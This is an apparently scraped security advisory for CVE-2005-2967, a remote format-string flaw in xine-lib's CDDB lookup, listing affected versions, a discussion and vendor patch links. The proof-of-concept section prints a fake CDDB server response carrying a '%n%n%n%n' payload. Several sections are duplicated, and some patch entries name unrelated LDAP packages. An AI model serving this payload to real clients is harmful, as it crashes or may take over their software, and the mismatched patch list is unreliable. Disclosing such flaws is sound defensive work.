Xine-Lib Remote CDDB Information Format String Vulnerability
BID:15044
Info
Xine-Lib Remote CDDB Information Format String Vulnerability
| Bugtraq ID: | 15044 |
| Class: | Input Validation Error |
| CVE: |
CVE-2005-2967 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 08 2005 12:00AM |
| Updated: | Mar 19 2015 09:27AM |
| Credit: | Ulf Harnhammar from the Debian Security Audit Project discovered this vulnerability. |
| Vulnerable: |
xine xine-lib 1.1 xine xine-lib 1.0.2 xine xine-lib 1.0.1 xine xine-lib 1.0 xine xine-lib 0.9.13 Ubuntu Ubuntu Linux 5.0 4 powerpc Ubuntu Ubuntu Linux 5.0 4 i386 Ubuntu Ubuntu Linux 5.0 4 amd64 Ubuntu Ubuntu Linux 4.1 ppc Ubuntu Ubuntu Linux 4.1 ia64 Ubuntu Ubuntu Linux 4.1 ia32 SuSE SUSE Linux Enterprise Server 9 SuSE SUSE Linux Enterprise Server 8 Slackware Linux 10.2 Slackware Linux 10.1 Slackware Linux 10.0 Slackware Linux 9.1 Slackware Linux -current S.u.S.E. SuSE Linux Standard Server 8.0 S.u.S.E. SuSE Linux School Server for i386 S.u.S.E. SUSE LINUX Retail Solution 8.0 S.u.S.E. SuSE Linux Openexchange Server 4.0 S.u.S.E. Open-Enterprise-Server 9.0 S.u.S.E. Novell Linux Desktop 9.0 S.u.S.E. Linux Professional 10.0 OSS S.u.S.E. Linux Professional 10.0 S.u.S.E. Linux Professional 9.3 x86_64 S.u.S.E. Linux Professional 9.3 S.u.S.E. Linux Professional 9.2 x86_64 S.u.S.E. Linux Professional 9.2 S.u.S.E. Linux Professional 9.1 x86_64 S.u.S.E. Linux Professional 9.1 S.u.S.E. Linux Professional 9.0 x86_64 S.u.S.E. Linux Professional 9.0 S.u.S.E. Linux Professional 8.2 S.u.S.E. Linux Personal 10.0 OSS S.u.S.E. Linux Personal 9.3 x86_64 S.u.S.E. Linux Personal 9.3 S.u.S.E. Linux Personal 9.2 x86_64 S.u.S.E. Linux Personal 9.2 S.u.S.E. Linux Personal 9.1 x86_64 S.u.S.E. Linux Personal 9.1 S.u.S.E. Linux Personal 9.0 x86_64 S.u.S.E. Linux Personal 9.0 S.u.S.E. Linux Personal 8.2 S.u.S.E. Linux Desktop 1.0 Mandriva Linux Mandrake 2006.0 x86_64 Mandriva Linux Mandrake 2006.0 Mandriva Linux Mandrake 10.2 x86_64 Mandriva Linux Mandrake 10.2 Mandriva Linux Mandrake 10.1 x86_64 Mandriva Linux Mandrake 10.1 MandrakeSoft Corporate Server 3.0 x86_64 MandrakeSoft Corporate Server 3.0 Gentoo Linux Debian Linux 3.1 sparc Debian Linux 3.1 s/390 Debian Linux 3.1 ppc Debian Linux 3.1 mipsel Debian Linux 3.1 mips Debian Linux 3.1 m68k Debian Linux 3.1 ia-64 Debian Linux 3.1 ia-32 Debian Linux 3.1 hppa Debian Linux 3.1 arm Debian Linux 3.1 amd64 Debian Linux 3.1 alpha Debian Linux 3.1 Debian Linux 3.0 sparc Debian Linux 3.0 s/390 Debian Linux 3.0 ppc Debian Linux 3.0 mipsel Debian Linux 3.0 mips Debian Linux 3.0 m68k Debian Linux 3.0 ia-64 Debian Linux 3.0 ia-32 Debian Linux 3.0 hppa Debian Linux 3.0 arm Debian Linux 3.0 alpha Debian Linux 3.0 Conectiva Linux 10.0 |
| Not Vulnerable: | |
Discussion
Xine-Lib Remote CDDB Information Format String Vulnerability
Xine-lib is susceptible to a remote format-string vulnerability. This issue is due to the application's failure to securely implement a formatted-printing function.
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary machine code in the context of the affected application.
Xine-lib versions 0.9.13, 1.0, 1.0.1, 1.0.2, and 1.1.0 are reported to be affected. Other versions may also be affected, as well as all applications that use a vulnerable version of the library.
Xine-lib is susceptible to a remote format-string vulnerability. This issue is due to the application's failure to securely implement a formatted-printing function.
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary machine code in the context of the affected application.
Xine-lib versions 0.9.13, 1.0, 1.0.1, 1.0.2, and 1.1.0 are reported to be affected. Other versions may also be affected, as well as all applications that use a vulnerable version of the library.
Exploit / POC
Xine-Lib Remote CDDB Information Format String Vulnerability
Currently we are not aware of any exploits for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
A proof-of-concept exploit is available that causes a crash in affected applications. This is a fake CDDB server that returns the following data to clients:
# %n%n%n%n
DISCID=$2
DTITLE=Exploiters / Formatted and Stringed
DYEAR=2005
DGENRE=Rock
TTITLE0=Format
TTITLE1=String
TTITLE2=Bug
EXTD= YEAR: 2005
EXTT0=
EXTT1=
EXTT2=
PLAYORDER=
Currently we are not aware of any exploits for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
A proof-of-concept exploit is available that causes a crash in affected applications. This is a fake CDDB server that returns the following data to clients:
# %n%n%n%n
DISCID=$2
DTITLE=Exploiters / Formatted and Stringed
DYEAR=2005
DGENRE=Rock
TTITLE0=Format
TTITLE1=String
TTITLE2=Bug
EXTD= YEAR: 2005
EXTT0=
EXTT1=
EXTT2=
PLAYORDER=
Solution / Fix
Xine-Lib Remote CDDB Information Format String Vulnerability
Solution:
Please see the referenced vendor advisories for further information.
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
xine xine-lib 1.0
xine xine-lib 1.0.1
xine xine-lib 1.1
Conectiva Linux 10.0
Solution:
Please see the referenced vendor advisories for further information.
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
xine xine-lib 1.0
-
Mandriva lib64xine1-1.0-8.2.102mdk.x86_64.rpm
Mandrivalinux 10.2/X86_64:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva lib64xine1-devel-1.0-8.2.102mdk.x86_64.rpm
Mandrivalinux 10.2/X86_64:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva libxine1-1.0-8.2.102mdk.i586.rpm
Mandrivalinux 10.2:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva libxine1-devel-1.0-8.2.102mdk.i586.rpm
Mandrivalinux 10.2:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva xine-aa-1.0-8.2.102mdk.i586.rpm
Mandrivalinux 10.2:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva xine-aa-1.0-8.2.102mdk.x86_64.rpm
Mandrivalinux 10.2/X86_64:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva xine-arts-1.0-8.2.102mdk.i586.rpm
Mandrivalinux 10.2:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva xine-arts-1.0-8.2.102mdk.x86_64.rpm
Mandrivalinux 10.2/X86_64:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva xine-dxr3-1.0-8.2.102mdk.i586.rpm
Mandrivalinux 10.2:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva xine-dxr3-1.0-8.2.102mdk.x86_64.rpm
Mandrivalinux 10.2/X86_64:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva xine-esd-1.0-8.2.102mdk.i586.rpm
Mandrivalinux 10.2:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva xine-esd-1.0-8.2.102mdk.x86_64.rpm
Mandrivalinux 10.2/X86_64:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva xine-flac-1.0-8.2.102mdk.i586.rpm
Mandrivalinux 10.2:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva xine-flac-1.0-8.2.102mdk.x86_64.rpm
Mandrivalinux 10.2/X86_64:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva xine-gnomevfs-1.0-8.2.102mdk.i586.rpm
Mandrivalinux 10.2:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva xine-gnomevfs-1.0-8.2.102mdk.x86_64.rpm
Mandrivalinux 10.2/X86_64:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva xine-plugins-1.0-8.2.102mdk.i586.rpm
Mandrivalinux 10.2:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva xine-plugins-1.0-8.2.102mdk.x86_64.rpm
Mandrivalinux 10.2/X86_64:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva xine-polyp-1.0-8.2.102mdk.i586.rpm
Mandrivalinux 10.2:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva xine-polyp-1.0-8.2.102mdk.x86_64.rpm
Mandrivalinux 10.2/X86_64:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva xine-smb-1.0-8.2.102mdk.i586.rpm
Mandrivalinux 10.2:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva xine-smb-1.0-8.2.102mdk.x86_64.rpm
Mandrivalinux 10.2/X86_64:
http://www1.mandrivalinux.com/en/ftp.php3 -
Ubuntu libxine-dev_1.0-1ubuntu3.1.1_amd64.deb
Ubuntu 5.04 (Hoary Hedgehog)
http://security.ubuntu.com/ubuntu/pool/main/x/xine-lib/libxine-dev_1.0 -1ubuntu3.1.1_amd64.deb -
Ubuntu libxine-dev_1.0-1ubuntu3.1.1_powerpc.deb
Ubuntu 5.04 (Hoary Hedgehog)
http://security.ubuntu.com/ubuntu/pool/main/x/xine-lib/libxine-dev_1.0 -1ubuntu3.1.1_powerpc.deb
xine xine-lib 1.0.1
-
Debian libxine-dev_1.0.1-1sarge1_alpha.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/x/xine-lib/libxine-dev_1. 0.1-1sarge1_alpha.deb -
Debian libxine-dev_1.0.1-1sarge1_amd64.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/x/xine-lib/libxine-dev_1. 0.1-1sarge1_amd64.deb -
Debian libxine-dev_1.0.1-1sarge1_arm.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/x/xine-lib/libxine-dev_1. 0.1-1sarge1_arm.deb -
Debian libxine-dev_1.0.1-1sarge1_hppa.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/x/xine-lib/libxine-dev_1. 0.1-1sarge1_hppa.deb -
Debian libxine-dev_1.0.1-1sarge1_i386.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/x/xine-lib/libxine-dev_1. 0.1-1sarge1_i386.deb -
Debian libxine-dev_1.0.1-1sarge1_ia64.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/x/xine-lib/libxine-dev_1. 0.1-1sarge1_ia64.deb -
Debian libxine-dev_1.0.1-1sarge1_mips.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/x/xine-lib/libxine-dev_1. 0.1-1sarge1_mips.deb -
Debian libxine-dev_1.0.1-1sarge1_mipsel.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/x/xine-lib/libxine-dev_1. 0.1-1sarge1_mipsel.deb -
Debian libxine-dev_1.0.1-1sarge1_powerpc.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/x/xine-lib/libxine-dev_1. 0.1-1sarge1_powerpc.deb -
Debian libxine-dev_1.0.1-1sarge1_s390.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/x/xine-lib/libxine-dev_1. 0.1-1sarge1_s390.deb -
Debian libxine-dev_1.0.1-1sarge1_sparc.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/x/xine-lib/libxine-dev_1. 0.1-1sarge1_sparc.deb -
Debian libxine1_1.0.1-1sarge1_amd64.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/x/xine-lib/libxine1_1.0.1 -1sarge1_amd64.deb -
Debian libxine1_1.0.1-1sarge1_arm.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/x/xine-lib/libxine1_1.0.1 -1sarge1_arm.deb -
Debian libxine1_1.0.1-1sarge1_hppa.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/x/xine-lib/libxine1_1.0.1 -1sarge1_hppa.deb -
Debian libxine1_1.0.1-1sarge1_i386.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/x/xine-lib/libxine1_1.0.1 -1sarge1_i386.deb -
Debian libxine1_1.0.1-1sarge1_ia64.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/x/xine-lib/libxine1_1.0.1 -1sarge1_ia64.deb -
Debian libxine1_1.0.1-1sarge1_m68k.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/x/xine-lib/libxine1_1.0.1 -1sarge1_m68k.deb -
Debian libxine1_1.0.1-1sarge1_mips.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/x/xine-lib/libxine1_1.0.1 -1sarge1_mips.deb -
Debian libxine1_1.0.1-1sarge1_mipsel.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/x/xine-lib/libxine1_1.0.1 -1sarge1_mipsel.deb -
Debian libxine1_1.0.1-1sarge1_powerpc.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/x/xine-lib/libxine1_1.0.1 -1sarge1_powerpc.deb -
Debian libxine1_1.0.1-1sarge1_s390.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/x/xine-lib/libxine1_1.0.1 -1sarge1_s390.deb -
Debian libxine1_1.0.1-1sarge1_sparc.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/x/xine-lib/libxine1_1.0.1 -1sarge1_sparc.deb
xine xine-lib 1.1
-
Mandriva lib64xine1-1.1.0-8.1.20060mdk.x86_64.rpm
Mandrivalinux 2006.0/X86_64:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva lib64xine1-devel-1.1.0-8.1.20060mdk.x86_64.rpm
Mandrivalinux 2006.0/X86_64:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva libxine1-1.1.0-8.1.20060mdk.i586.rpm
Mandrivalinux 2006.0:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva libxine1-devel-1.1.0-8.1.20060mdk.i586.rpm
Mandrivalinux 2006.0:
http://www1.mandrivalinux.com/en/ftp.php3
Conectiva Linux 10.0
-
Conectiva nss_ldap-240-53589U10_1cl.i386.rpm
Conectiva 10:
ftp://atualizacoes.conectiva.com.br/10/RPMS/nss_ldap-240-53589U10_1cl. i386.rpm -
Conectiva nss_ldap-240-53589U10_1cl.i386.rpm
Conectiva 10:
nss_ldap-240-53589U10_1cl.i386.rpm -
Conectiva pam_ldap-180-47667U10_1cl.i386.rpm
Conectiva 10:
ftp://atualizacoes.conectiva.com.br/10/RPMS/pam_ldap-180-47667U10_1cl. i386.rpm